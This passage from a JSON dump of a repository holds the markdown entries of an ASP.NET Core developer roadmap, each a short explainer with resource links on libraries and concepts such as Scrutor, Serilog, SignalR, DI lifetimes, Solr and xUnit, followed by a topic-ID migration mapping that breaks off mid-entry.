    "content": "# Scrutor\n\nScrutor is an open-source library for .NET that extends the functionality of the built-in dependency injection framework in .NET Core. It provides a set of extension methods for the `IServiceCollection` interface, which can be used to register and configure services in a more convenient and flexible way.\n\nOne of the main features of Scrutor is its ability to automatically scan assemblies for services and register them with the dependency injection container, allowing you to avoid having to manually register each service one by one. It also provides a fluent API that makes it easy to configure services, such as specifying the lifetime of a service, adding decorators, and more.\n\nVisit the following resources to learn more:\n\n- [@article@How to use Scrutor in ASP.Net Core?](https://www.infoworld.com/article/3321356/how-to-use-scrutor-in-aspnet-core.html)\n- [@article@Complete Guide to Scrutor](https://andrewlock.net/using-scrutor-to-automatically-register-your-services-with-the-asp-net-core-di-container/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/search-engines@6p5atMYw3b3bXkQuXZsDV.md",
    "content": "# Search Engines\n\nA search engine in an [ASP.NET](http://ASP.NET) application is a tool or module that allows users to search for and retrieve specific information from the application's database or other data sources. Search engines can be used to perform full-text search, faceted search, and geospatial search, among other things.\n\nSearch engines can be integrated into an [ASP.NET](http://ASP.NET) application by using libraries or frameworks that provide a .NET client for interacting with the search engine. Some popular search engines that can be integrated with an [ASP.NET](http://ASP.NET) application include Elasticsearch, Apache Solr, Sphinx, and Microsoft Azure Search.\n\nVisit the following resources to learn more:\n\n- [@article@Search Engine Optimization with ASP.NET](https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/september/search-engine-optimization-with-asp-net-4-0-visual-studio-2010-and-iis7)\n- [@article@Creating an ASP.NET Search Engine](https://www.developerfusion.com/article/4389/create-a-site-search-engine-in-aspnet/)\n- [@video@Simple Search Engine in ASP.NET](https://www.youtube.com/watch?v=KTkubhS-u50)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/serilog@xL0s4-HfRxNy2ru0jiIWR.md",
    "content": "# Serilog\n\nSerilog is a third-party logging library for [ASP.NET](http://ASP.NET) Core that allows developers to easily create structured and searchable log data. It is built on top of the `Microsoft.Extensions.Logging` framework, which is included in [ASP.NET](http://ASP.NET) Core. Serilog provides features such as automatic logging of request and response data, and the ability to write logs to a variety of destinations, including the console, files, and various logging services. It also supports for filtering and formatting log messages.\n\nVisit the following resources to learn more:\n\n- [@opensource@Complete guide to Serilog in ASP.NET](https://github.com/serilog/serilog-aspnetcore)\n- [@article@How to Work with Serilog in ASP.NET?](https://www.codeguru.com/dotnet/serilog-c-sharp/)\n- [@article@Advanced Serilog features in ASP.NET](https://www.infoworld.com/article/3624022/how-to-use-advanced-serilog-features-in-aspnet-core-mvc.html)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/shouldly@zhn-VLGPfV6FZT2OMl6zf.md",
    "content": "# Shouldly\n\nShouldly is a .NET library that provides a set of extension methods for writing expressive and readable assertions in unit tests, it's designed to be an alternative to traditional assertion libraries. In the context of [ASP.NET](http://ASP.NET), Shouldly can be used in conjunction with test frameworks such as MSTest, xUnit, and NUnit to write more expressive and readable unit tests for the application. It provides advanced features such as support for collection-specific assertions, support for asynchronous code, and support for custom types, also includes options to customize the error message.\n\nVisit the following resources to learn more:\n\n- [@article@How to Use Shouldly to Improve Unit Tests in .NET?](https://code-maze.com/improve-unit-tests-shouldly-dotnet/)\n- [@article@Improve Test Asserts with Shouldly](https://visualstudiomagazine.com/articles/2015/08/01/improve-test-asserts-with-shouldly.aspx?admgarea=ALM)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/signalr-core@8dvd4M0TKNyQR8dEolGNT.md",
    "content": "# SignalR Core\n\nSignalR is a real-time communication library for .NET that allows for the creation of real-time web applications. SignalR Core is the latest version of SignalR, which has been rebuilt from the ground up to be cross-platform and lightweight. It allows for bidirectional communication between a client (such as a web page) and a server, enabling real-time updates, notifications, and other interactions. SignalR Core can be used in a variety of scenarios such as chat applications, gaming, and real-time dashboards. It supports multiple transports like WebSockets, Server-Sent Events and Long polling. It also supports for authentication and authorization.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of ASP.NET Core SignalR](https://learn.microsoft.com/en-us/aspnet/core/signalr/introduction?view=aspnetcore-8.0)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/singleton@y9bDrCjkDbxSIrEEtu_Mi.md",
    "content": "# Singleton\n\nSingleton lifetime is a type of dependency injection that creates a single instance of an object and reuses it throughout the lifetime of the application. This means that if multiple components within the same request or across different requests depend on the same service, they will all receive the same instance of the service.\n\nSingleton lifetime is useful when you have services that need to maintain state or shared data across requests, such as a service that caches data or maintains a connection to a resource.\n\nVisit the following resources to learn more:\n\n- [@article@What are Singleton Dependencies?](https://blazor-university.com/dependency-injection/dependency-lifetimes-and-scopes/transient-dependencies/)\n- [@article@Dependency Injection Lifetime](https://www.tektutorialshub.com/asp-net-core/asp-net-core-dependency-injection-lifetime/)\n- [@video@Dependency Injection Explained with Singleton](https://www.youtube.com/watch?v=NkTF_6IQPiY)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/solr@2sY_p_8cOOBmZtDHO2Cmy.md",
    "content": "# Solr\n\nApache Solr is a search engine platform based on the Apache Lucene library. It is a standalone enterprise search server that provides a REST-like API for indexing, searching, and updating documents. Solr can be used to perform full-text search, faceted search, and geospatial search, among other things.\n\nSolr can be useful in [ASP.NET](http://ASP.NET) application to provide advanced search capabilities, such as full-text search, faceted search and geospatial search, which can be useful in e-commerce, content management systems, and logging and monitoring applications. It is known for its scalability, performance and its ability to handle large volumes of data with complex queries.\n\nVisit the following resources to learn more:\n\n- [@article@Guide to Solr in ASP.NET](https://www.codeproject.com/Tips/480091/Using-Solr-for-Search-with-NET-Csharp)\n- [@article@How to get Started with Solr.NET?](https://stackoverflow.com/questions/5646615/how-to-get-started-with-solr-net)\n- [@article@Integrate Solr Instance With .NET Core](https://stacksecrets.com/dot-net-core/integrate-solr-instance-with-net-core)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/specflow@9WZmjiFowydYrkHQ2xeNm.md",
    "content": "# SpecFlow\n\nSpecFlow is an open-source tool that allows developers to create automated acceptance tests in a natural language format, such as Gherkin. SpecFlow is commonly used in the context of [ASP.NET](http://ASP.NET) and other .NET technologies, to write acceptance tests for web applications. With SpecFlow, developers can write test scenarios using plain text in the Gherkin syntax, which uses a Given-When-Then format to describe the steps of a test. These scenarios can be written by non-technical stakeholders, such as business analysts or product owners, and can be easily understood by anyone who reads them. SpecFlow then converts these Gherkin scenarios into executable tests, which can be run using a variety of test runners, such as NUnit, xUnit, or MSTest. The tool also provides a set of bindings that allow developers to map the steps in the Gherkin scenarios to code in their application, making it easy to test specific functionality. Additionally, SpecFlow provides a set of advanced features, such as support for parameterized tests, background steps, and hooks, which allows developers to create more complex and powerful tests.\n\nVisit the following resources to learn more:\n\n- [@official@What is SpecFlow?](https://specflow.org/tools/specflow/)\n- [@article@SpecFlow’s documentation](https://docs.specflow.org/_/downloads/specflow/en/latest/pdf/)\n- [@article@Getting Started with SpecFlow](https://docs.specflow.org/projects/getting-started/en/latest/index.html)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/sphinx@Ye9WHfwZa-Fc2YDaTCmU1.md",
    "content": "# Sphinx\n\nSphinx is an open-source full-text search engine that can be used to index, search and analyze large volumes of data quickly and in near real-time. It is designed to handle high-traffic websites and large data sets and can be used for full-text search, faceted search, and geospatial search.\n\nIn an [ASP.NET](http://ASP.NET) application, Sphinx can be integrated as a search engine to provide advanced search functionality to the application. There are several libraries available for integrating Sphinx with an [ASP.NET](http://ASP.NET) application, such as [SphinxQL.NET](http://SphinxQL.NET) and SphinxClient. These libraries provide a .NET client for Sphinx, which can be used to interact with the Sphinx engine from within an [ASP.NET](http://ASP.NET) application.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Sphinx in ASP.NET](https://www.sphinxconnector.net/)\n- [@article@Intro to Sphinx](http://sphinxsearch.com/forum/view.html?id=3609)\n- [@article@Documentation of Sphinx in ASP.NET](https://www.ericholscher.com/blog/2016/jul/1/sphinx-and-rtd-for-writers/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/sql-basics@aOJMVrTcA_I2y_QHzj7aM.md",
    "content": "# Sql basics\n\nSQL stands for Structured Query Language. SQL lets you access and manipulate databases SQL became a standard of the American National Standards Institute (ANSI) in 1986, and of the International Organization for Standardization (ISO) in 1987.\n\nAlthough SQL is an ANSI/ISO standard, there are different versions of the SQL language.\n\nHowever, to be compliant with the ANSI standard, they all support at least the major commands (such as SELECT, UPDATE, DELETE, INSERT, WHERE) in a similar manner.\n\nVisit the following resources to learn more:\n\n- [@video@SQL Tutorial - Full Database Course for Beginners](https://www.youtube.com/watch?v=HXV3zeQKqGY)\n- [@feed@Explore top posts about SQL](https://app.daily.dev/tags/sql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/sql-server@HQHSzsqBGSVYNLQ9o5EI-.md",
    "content": "# SQL Server\n\nMS SQL (or Microsoft SQL Server) is the Microsoft developed relational database management system (RDBMS). MS SQL uses the T-SQL (Transact-SQL) query language to interact with the relational databases. There are many different versions and editions available of MS SQL\n\nVisit the following resources to learn more:\n\n- [@article@MS SQL website](https://www.microsoft.com/en-ca/sql-server/)\n- [@article@Tutorials for SQL Server](https://docs.microsoft.com/en-us/sql/sql-server/tutorials-for-sql-server-2016?view=sql-server-ver15)\n- [@video@SQL Server tutorial for beginners](https://www.youtube.com/watch?v=-EPMOaV7h_Q)\n- [@feed@Explore top posts about SQL](https://app.daily.dev/tags/sql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/steeltoe@s8evqe2MireS1UhxoXrd1.md",
    "content": "# Steeltoe\n\nSteeltoe is an open-source project that provides a set of libraries for building cloud-native applications on the .NET platform. The libraries are designed to work with the .NET Core runtime and provide a set of abstractions for common cloud-native patterns, such as service discovery, configuration management, and circuit breaking. The goal of Steeltoe is to make it easy for developers to take advantage of the cloud-native capabilities of the .NET platform and build resilient and scalable applications.\n\nVisit the following resources to learn more:\n\n- [@article@.NET Microservices with Steeltoe](https://learn.microsoft.com/en-us/shows/on-net/net-microservices-with-steeltoe)\n- [@article@Steeltoe Documentation](https://docs.steeltoe.io/api/v3/welcome/index.html)\n- [@video@.NET Microservices with Steeltoe](https://www.youtube.com/watch?v=QLRi6iPapVg)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/stored-procedures@ZiK-c9zNbi5RZkKUi44wP.md",
    "content": "# Stored Procedures\n\nA stored procedure is a pre-compiled collection of SQL statements that can be executed on a database server. Stored procedures are typically used to perform specific tasks, such as retrieving data from a database, inserting or updating data, or performing complex calculations. They are stored on the database server and can be called or executed from a client application or other stored procedures. Stored procedures can improve database performance by reducing the amount of SQL code needed to be executed and allowing developers to reuse common pieces of code. They can also provide security by allowing database administrators to control which users have access to specific stored procedures.\n\nVisit the following resources to learn more:\n\n- [@article@Stored Procedure in SQL: Benefits And How to Create It](https://www.simplilearn.com/tutorials/sql-tutorial/stored-procedure-in-sql)\n- [@article@SQL Server stored procedures for beginners](https://www.sqlshack.com/sql-server-stored-procedures-for-beginners/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/stylecop-rules@R7Qk5hsEIl9dspQXdaJAJ.md",
    "content": "# StyleCop Rules\n\nStyleCop is a tool used for developers to standardize their code and ensure they all follow the same syntax principles. With StyleCop, one standard can be defined in a `stylecop.json` file and shared across your team so that each member has the same guidelines when formatting your code. Beyond a single project, StyleCop can also be added as an extension, so all of the projects on your IDE follow the same formatting rules, this is especially useful if your organization follows the same rule standards for all projects.\n\nVisit the following resources to learn more:\n\n- [@opensource@StyleCop GitHub official page](https://github.com/StyleCop/StyleCop)\n- [@opensource@StyeleCop Analyzers, a more modern version of StyleCop](https://github.com/DotNetAnalyzers/StyleCopAnalyzers)\n- [@article@StyleCop: A Detailed Guide to Starting and Using It](https://blog.submain.com/stylecop-detailed-guide/)\n- [@video@The StyleCop setup and Advantages](https://www.youtube.com/watch?v=dmpOKmz3lPw)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/task-scheduling@s57tKy1rajlJbKFDVXLqs.md",
    "content": "# Task Scheduling\n\nTask scheduling in [ASP.NET](http://ASP.NET) refers to the process of scheduling and executing background tasks in an application. This can include tasks such as sending emails, processing data, generating reports, or performing maintenance tasks.\n\nIn [ASP.NET](http://ASP.NET), task scheduling can be implemented using a variety of libraries and frameworks such as [Quartz.NET](http://Quartz.NET), Hangfire, Coravel and Microsoft's built-in IHostedService interface. These libraries and frameworks provide a way to schedule tasks to run at specific times or intervals, and also provide APIs for managing and monitoring the progress of scheduled tasks.\n\nVisit the following resources to learn more:\n\n- [@article@How schedule Tasks in ASP.NET?](https://beansoftware.com/ASP.NET-Tutorials/Scheduled-Tasks.aspx)\n- [@video@Task Scheduling in ASP.NET](https://www.youtube.com/watch?v=Vg4AOpb7OqA)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/template-engines@C85aJvrzj6rP2Hmfj9uPB.md",
    "content": "# Template Engines\n\nTemplate engines in [ASP.NET](http://ASP.NET) are libraries that allow developers to embed dynamic data in HTML templates. These engines are used to separate the logic of the application from the presentation of the data, making it easy to change the appearance of the application without having to change the underlying code.\n\nVisit the following resources to learn more:\n\n- [@article@Template Engine in ASP.NET](https://ej2.syncfusion.com/aspnetmvc/documentation/common/template-engine)\n- [@article@How to Create Custom Templates using the .Net Template Engine ](https://www.infoq.com/articles/dotnet-core-template-engine/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/test-containers@8eW5BaOjJbnQ7uk4zMOiU.md",
    "content": "# Test Containers"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/testing@XofWWhlU_vWCG5oXVMZze.md",
    "content": "# Testing\n\nTesting in [ASP.NET](http://ASP.NET) is the process of evaluating the performance, functionality, and overall correctness of an application developed using the [ASP.NET](http://ASP.NET) framework. There are several types of testing that can be performed on an [ASP.NET](http://ASP.NET) application, including unit testing, integration testing, acceptance testing and E2E testing. Each type of testing has a different focus and is used at a different stage of the development process. Common testing frameworks for [ASP.NET](http://ASP.NET) include MSTest, XUnit, NUnit, Selenium, Playwright, Puppeteer, Cypress, Specflow, Cucumber, and LightBDD.\n\nVisit the following resources to learn more:\n\n- [@article@A Complete Tutorial on ASP.NET Testing](https://www.lambdatest.com/blog/aspnet-testing/)\n- [@article@Unit test controller logic in ASP.NET](https://learn.microsoft.com/en-us/aspnet/core/mvc/controllers/testing?view=aspnetcore-7.0)\n- [@article@Integration tests in ASP.NET Core](https://learn.microsoft.com/en-us/aspnet/core/test/integration-tests?view=aspnetcore-7.0)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/transient@-N0XM0-VtCZ6QMo2YyMD-.md",
    "content": "# Transient\n\nTransient lifetime is a type of dependency injection that creates a new instance of an object each time it is requested. This means that if multiple components within the same request or across different requests depend on the same service, they will each receive a new instance of the service.\n\nTransient lifetime is useful when you have services that are stateless and do not need to maintain any data between requests, such as a service that performs a simple calculation or returns data from a database.\n\nVisit the following resources to learn more:\n\n- [@article@What are Transient Dependencies?](https://blazor-university.com/dependency-injection/dependency-lifetimes-and-scopes/transient-dependencies/)\n- [@article@Dependency Injection Lifetime](https://www.tektutorialshub.com/asp-net-core/asp-net-core-dependency-injection-lifetime/)\n- [@video@Dependency Injection Explained with Transient](https://www.youtube.com/watch?v=NkTF_6IQPiY)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/triggers@2f_CJMnXwPxjMEwm5P_QJ.md",
    "content": "# Triggers\n\nTriggers are special type of stored procedures that are automatically executed in response to specific events that occur within a database. These events can include:\n\n*   Data modification events (INSERT, UPDATE, DELETE) on a specific table or view.\n*   Data definition events (CREATE, ALTER, DROP) on specific database objects such as tables or views.\n*   Logon events (CONNECT, DISCONNECT) that occur when a user connects to or disconnects from the database.\n\nVisit the following resources to learn more:\n\n- [@article@Database Triggers](https://docs.oracle.com/cd/A57673_01/DOC/server/doc/SCN73/ch15.htm)\n- [@article@Database Triggers: Examples & Overview](https://study.com/academy/lesson/database-triggers-examples-overview.html)\n- [@article@What are Triggers in SQL?](https://www.edureka.co/blog/triggers-in-sql/)\n- [@article@What is a SQL Trigger?](https://www.essentialsql.com/sql-trigger/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/web-sockets@tBl8neu3tJd5GPwGfJbjZ.md",
    "content": "# Web Sockets\n\nWebSockets is a protocol that allows for real-time, bidirectional communication between a client and a server. It is based on the same principle as HTTP, but it uses a different protocol to establish and maintain a connection between the client and the server. Once a connection is established, WebSockets enables the client and server to send messages to each other in real-time.\n\nIn [ASP.NET](http://ASP.NET), WebSockets can be used to create real-time, highly interactive web applications. The [ASP.NET](http://ASP.NET) Core framework provides built-in support for WebSockets through the Microsoft.AspNetCore.WebSockets package. This package provides a set of classes and methods that make it easy to create and manage WebSockets connections.\n\nVisit the following resources to learn more:\n\n- [@article@WebSockets support in ASP.NET](https://learn.microsoft.com/en-us/aspnet/core/fundamentals/websockets?view=aspnetcore-7.0)\n- [@article@Understanding WebSockets with ASP.NET](https://sahansera.dev/understanding-websockets-with-aspnetcore-5/)\n- [@article@Writing a WebSocket server in ASP.NET](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_server)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/webapplicationfactory@Xx5G09n4WWnnydCgxnL0A.md",
    "content": "# WebApplicationFactory\n\nWeb Application Factory (WAF) is a built-in feature of the [ASP.NET](http://ASP.NET) Core framework that allows developers to create and configure a web application in a programmatic way. It provides a simple and flexible way to set up a web application for testing, without the need for a web server or a browser. The WAF can be used to create a test server that can be used to run integration tests or end-to-end tests for an [ASP.NET](http://ASP.NET) Core web application, this allows developers to test the web application in a realistic environment, without the need for a physical web server or a browser. The WAF can be configured to use different services, middleware, and settings, depending on the needs of the application, this allows developers to easily set up a web application that is configured specifically for testing. The WAF also allows developers to test the web application against different configurations, such as different databases, different authentication providers, and different hosting environments.\n\nVisit the following resources to learn more:\n\n- [@article@Integration tests in ASP.NET Core](https://learn.microsoft.com/en-us/aspnet/core/test/integration-tests?view=aspnetcore-7.0)\n- [@article@How to use WebApplicationFactory in .NET](https://stackoverflow.com/questions/69058176/how-to-use-webapplicationfactory-in-net6-without-speakable-entry-point)\n- [@video@Integration Testing ASP.NET Core WebAPI Applications](https://www.youtube.com/watch?v=xs8gNQjCXw0)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/xunit@R8C6s53RYjkRVma0nCJpy.md",
    "content": "# xUnit\n\nxUnit is a unit testing framework for the .NET framework, it's an open-source testing framework that provides a set of attributes and classes that can be used to create unit tests. In the context of [ASP.NET](http://ASP.NET), xUnit can be used to write unit tests for web applications built using the [ASP.NET](http://ASP.NET) framework. xUnit provides features such as support for data-driven tests, support for parallel test execution, and support for test discovery and execution, it also provides support for test isolation which allows developers to run tests in isolation from each other. xUnit is a popular alternative to other testing frameworks like MSTest and it does not rely on a test runner, instead relies on a console runner that can be run from the command line.\n\nVisit the following resources to learn more:\n\n- [@article@Unit Testing with xUnit in ASP.NET Core](https://code-maze.com/aspnetcore-unit-testing-xunit/)\n- [@article@Unit testing in .NET Core using and xUnit](https://learn.microsoft.com/en-us/dotnet/core/testing/unit-testing-with-dotnet-test)\n- [@article@Getting Started With Unit Testing Using ASP.NET And xUnit](https://www.c-sharpcorner.com/article/getting-started-with-unit-testing-using-c-sharp-and-xunit/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/yarp@2axfolu26P8XwxMxgMaS3.md",
    "content": "# YARP\n\nYARP is a library to help create reverse proxy servers that are high-performance, production-ready, and highly customizable. YARP is built on .NET using the infrastructure from [ASP.NET](http://ASP.NET) and .NET (.NET 6 and newer). The key differentiator for YARP is that it's been designed to be easily customized and tweaked via .NET code to match the specific needs of each deployment scenario. YARP is designed with customizability as a primary scenario rather than requiring you to break out to script or rebuild the library from source.\n\nVisit the following resources to learn more:\n\n- [@article@Getting Started with YARP](https://microsoft.github.io/reverse-proxy/articles/getting-started.html)\n- [@video@YARP: The .NET Reverse proxy](https://www.youtube.com/watch?v=1IqQkNcsqWE)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/aspnet-core/migration-mapping.json",
    "content": "{\n  \"basics-of-csharp\": \"NvODRFR0DLINB0RlPSsvt\",\n  \"basics-of-csharp:csharp\": \"fxANnSiTb2VzA9u-YeBL1\",\n  \"basics-of-csharp:dotnet\": \"3GGvuxdfuDwLpNX_gtjCK\",\n  \"basics-of-csharp:dotnet-cli\": \"6HJQ1Evgah0Pki04Z2hQt\",\n  \"general-development-skills\": \"NEnna_8DstfYH4T9qrP3-\",\n  \"general-development-skills:git\": \"OtdCmkj0SvrGwCUSfm96C\",\n  \"general-development-skills:vcs-hosting-services\": \"KAZF-mIg-FlfMonfdOLhb\",\n  \"general-development-skills:http-https\": \"YI3cAezupWNntFw4B6elY\",\n  \"general-development-skills:datastructures-and-algorithms\": \"RAX2xN37taw9cqA3pnORh\",\n  \"database-fundamentals\": \"tnKUdsgp6bnFtQTexEmfy\",\n  \"database-fundamentals:sql-basics\": \"aOJMVrTcA_I2y_QHzj7aM\",\n  \"database-fundamentals:database-design-basics\": \"zlAcgLKxGF_TyrcJIk4X7\",\n  \"database-fundamentals:stored-procedures\": \"ZiK-c9zNbi5RZkKUi44wP\",\n  \"database-fundamentals:constraints\": \"1-XdtrGPbUoxpu9ZcQlBA\",\n  \"database-fundamentals:triggers\": \"2f_CJMnXwPxjMEwm5P_QJ\",\n  \"basics-of-aspnet-core\": \"v2ZTCQQFQPoJNhOVGMG2g\",\n  \"basics-of-aspnet-core:mvc\": \"D3aQw0-pk3ycO-n10HBaA\",\n  \"basics-of-aspnet-core:rest\": \"dZ9fYWMBa1OemTmLOI8_q\",\n  \"basics-of-aspnet-core:razor-pages\": \"qpVxwuyA2oE06MZLtEdP1\",\n  \"basics-of-aspnet-core:razor-components\": \"vePinRjDfSGULKw0LE9K-\",\n  \"basics-of-aspnet-core:middlewares\": \"dG--AAcZZdltYCeg6zCz2\",\n  \"basics-of-aspnet-core:filters-and-attributes\": \"U3HXmNq6x2YA3BwZsOTbe\",\n  \"basics-of-aspnet-core:app-settings-and-configurations\": \"EJxliq-HPVp00CVsFc6kf\",\n  \"orm\": \"POQPoN98eqOH2873ZI6Hm\",\n  \"orm:entity-framework-core\": \"ET74_7ieahNaGdPT11_NI\",\n  \"orm:entity-framework-core:framework-basics\": \"eGVaAz3VhGu3cXBNxTAWd\",\n  \"orm:entity-framework-core:codefirst-migrations\": \"ZPeebwJ3OBuywEgLLgQTG\",\n  \"orm:entity-framework-core:change-tracker-api\": \"wfEOvAkGXkTZGdGX341D4\",\n  \"orm:entity-framework-core:lazy-eager-explicit-loading\": \"9AMotSwdEbB8uOg80SykE\",\n  \"orm:dapper\": \"UkWc41r0bZ1lptjse3As6\",\n  \"orm:repodb\": \"tYDVcnG0oUF3R8DwASvAh\",\n  \"orm:nhibernate\": \"z24IJndpQYTl1PhiUI2mx\",\n  \"dependency-injection\": \"IejHMMVKwA0sIInla4FjX\",\n  \"dependency-injection:scrutor\": \"f212ztDU_kb7gO71Nn76L\",\n  \"dependency-injection:life-cycles\": \"Tjaczp2E-cCn0qSv89xgo\",\n  \"dependency-injection:life-cycles:scoped\": \"M3BW_63MFQyD8NE68dazD\",\n  \"dependency-injection:life-cycles:transient\": \"-N0XM0-VtCZ6QMo2YyMD-\",\n  \"dependency-injection:life-cycles:singleton\": \"y9bDrCjkDbxSIrEEtu_Mi\",\n  \"dependency-injection:di-containers\": \"iM760f8Ys66-VSkMiZfIX\",\n  \"dependency-injection:di-containers:microsoft-extensions-dependency-injection\": \"J9XdYLo7qJiBoL8p3c68P\",\n  \"dependency-injection:di-containers:auto-fac\": \"gbpSbjF12dBE1Tb3PX8Bz\",\n  \"caching\": \"7Nth4LOrM_KirhvjDGkgS\",\n  \"caching:entity-framework-cache\": \"FV4GsPjUyAc99DnIwkkCC\",\n  \"caching:memory-cache\": \"8CRsr7UZszjc_fZ-4ZmIx\",\n  \"caching:distributed-cache\": \"SiG0FWWznjDg-2mIWlchy\",\n  \"caching:distributed-cache:memcached\": \"u2pc3ZkL0EumAsbM12D5y\",\n  \"caching:distributed-cache:redis\": \"Ts0gJ4DdwFp48LGr4YSvM\",\n  \"databases\": \"Ujzn_dILCA7xoupnz398l\",\n  \"databases:search-engines\": \"6p5atMYw3b3bXkQuXZsDV\",\n  \"databases:search-engines:elasticsearch\": \"mK9OAwjReZoQZr1WSLRKJ\",\n  \"databases:search-engines:solr\": \"2sY_p_8cOOBmZtDHO2Cmy\",\n  \"databases:search-engines:sphinx\": \"Ye9WHfwZa-Fc2YDaTCmU1\",\n  \"databases:cloud\": \"LrjmJs6_rXUkc2A7fEq24\",\n  \"databases:cloud:dynamodb\": \"1Om9aQDZmnj_DN10ogwDL\",\n  \"databases:cloud:cosmosdb\": \"KrkV1w9b_Nwm6pe9diDRS\",\n  \"databases:relational\": \"FnRxRY3uDZdTve1w-nBfc\",\n  \"databases:relational:sql-server\": \"HQHSzsqBGSVYNLQ9o5EI-\",\n  \"databases:relational:postgresql\": \"An9TLvo-I6NtC8wFU3bh4\",\n  \"databases:relational:mariadb\": \"Gs8XcsTo11MeCsiSGpjkU\",\n  \"databases:relational:mysql\": \"WsGwg4qdlu_vBsFEpmBvU\",\n  \"databases:nosql\": \"WUis4K9vduriYdVkKvM9r\",\n  \"databases:nosql:mongodb\": \"-wYRa8qSuKVKo_yOTKV67\",\n  \"databases:nosql:litedb\": \"3gcXaOnHL4v5OoStrTWNV\",\n  \"databases:nosql:cassandra\": \"U_-Gt5csu_hihl7ybFY-B\",\n  \"databases:nosql:couchdb\": \"vHcwt6ARi5YR3v-eDDjfl\",\n  \"log-frameworks\": \"fQ3w8REYWzQfeJ0nPyq6W\",\n  \"log-frameworks:serilog\": \"xL0s4-HfRxNy2ru0jiIWR\",\n  \"log-frameworks:nlog\": \"ykF2bB_68AhCOzeQ_QSW1\",\n  \"api-clients\": \"GLkDH0X0uy8_1DIdCzbUD\",\n  \"api-clients:rest\": \"KJCtxH3mYsZq3hfBZ6cJF\",\n  \"api-clients:rest:odata\": \"YojZ5fpzw-5WgoqqkO6wl\",\n  \"api-clients:grpc\": \"x3SJlLc19DNJ-PyDOOj_G\",\n  \"api-clients:graphql\": \"BdTQ5ZMNDNZvkAUoCfL5H\",\n  \"api-clients:graphql:hot-chocolate\": \"XMrQx9JH0eSQJpMzhvy0F\",\n  \"api-clients:graphql:graphql-dotnet\": \"Efxu9gDodODMTKJbWcXzB\",\n  \"real-time-communication\": \"9Vv3OxafB6BlHhi1ZkeVO\",\n  \"real-time-communication:web-sockets\": \"tBl8neu3tJd5GPwGfJbjZ\",\n  \"real-time-communication:singlar-core\": \"8dvd4M0TKNyQR8dEolGNT\",\n  \"object-mapping\": \"9ECykIIvXlDblbFbRVcJS\",\n  \"object-mapping:atuo-mapper\": \"GPmlueMnuLCUW_t4jvGhc\",\n  \"task-scheduling\": \"s57tKy1rajlJbKFDVXLqs\",\n  \"task-scheduling:native-background-service\": \"uP1nqbmFmZL_wA2DoqP8C\",\n  \"task-scheduling:quartz\": \"zOWlPXIl4XPs_0pA8-yi5\",\n  \"task-scheduling:coravel\": \"p3bZnKIyRgLmB764Kkhju\",\n  \"task-scheduling:hangfire\": \"QiQsx1udyKcPJ-lZjRQVy\",\n  \"testing\": \"XofWWhlU_vWCG5oXVMZze\",\n  \"testing:e2e-testing:playwright\": \"AtyL0ij8FeJCBmqG2YvTO\",\n  \"testing:e2e-testing:puppeteer\": \"UCpoLiQJ4LeniI9x3uGcY\",\n  \"testing:e2e-testing:cypress\": \"f2UP2jDnDr7XEFIdAtBhH\",\n  \"testing:unit-testing:mstest\": \"236VJJjMvqHfSj-MHSDPV\",\n  \"testing:unit-testing:xunit\": \"R8C6s53RYjkRVma0nCJpy\",\n  \"testing:unit-testing:nunit\": \"qHYBlBCvCGUZGh6gyEI63\",\n  \"testing:unit-testing:shouldly\": \"zhn-VLGPfV6FZT2OMl6zf\",\n  \"testing:unit-testing:nsubstitute\": \"iZCxinqlVefBk5-ICqt4v\",\n  \"testing:unit-testing:moq\": \"eyOXWb1kL80Wqiwc2WHd_\",\n  \"testing:unit-testing:fake-it-easy\": \"diRJ_F6kx42Ucs0fxidtZ\",\n  \"testing:integration-testing:web-application-factory\": \"Xx5G09n4WWnnydCgxnL0A\",\n  \"testing:behavior-testing:spec-flow\": \"9WZmjiFowydYrkHQ2xeNm\",\n  \"testing:behavior-testing:light-bdd\": \"aWRv5sU9dksgcpE9RGJb1\",\n  \"microservices\": \"37c2eCvRdebztkbc5AjYp\",\n  \"microservices:message-brokers:apache-kafka\": \"L8RkeMYm0WGNeLLcHKF1R\",\n  \"microservices:message-brokers:rabbit-mq\": \"KqvBn2_wvYhFdv0dBZMC9\",\n  \"microservices:message-brokers:active-mq\": \"sNYYEBMHV_NO_NToP51VY\",\n  \"microservices:message-brokers:azure-service-bus\": \"gBuaVZfqJ0-g21sKohQtx\",\n  \"microservices:message-brokers:net-mq\": \"8d4f7_3VO03vy7YDWwPI9\",\n  \"microservices:message-bus:mass-transit\": \"SQKIUa_UsJ4cls-Vs9yHU\",\n  \"microservices:message-bus:nservice-bus\": \"vf8W1FLhcb3awx4JBaY5r\",\n  \"microservices:message-bus:easy-net-q\": \"X6iSHoHnFFMaGb6YPQFhl\",\n  \"microservices:docker\": \"rmRESzLiZNWdBFXLrwQFJ\",\n  \"microservices:ocelot\": 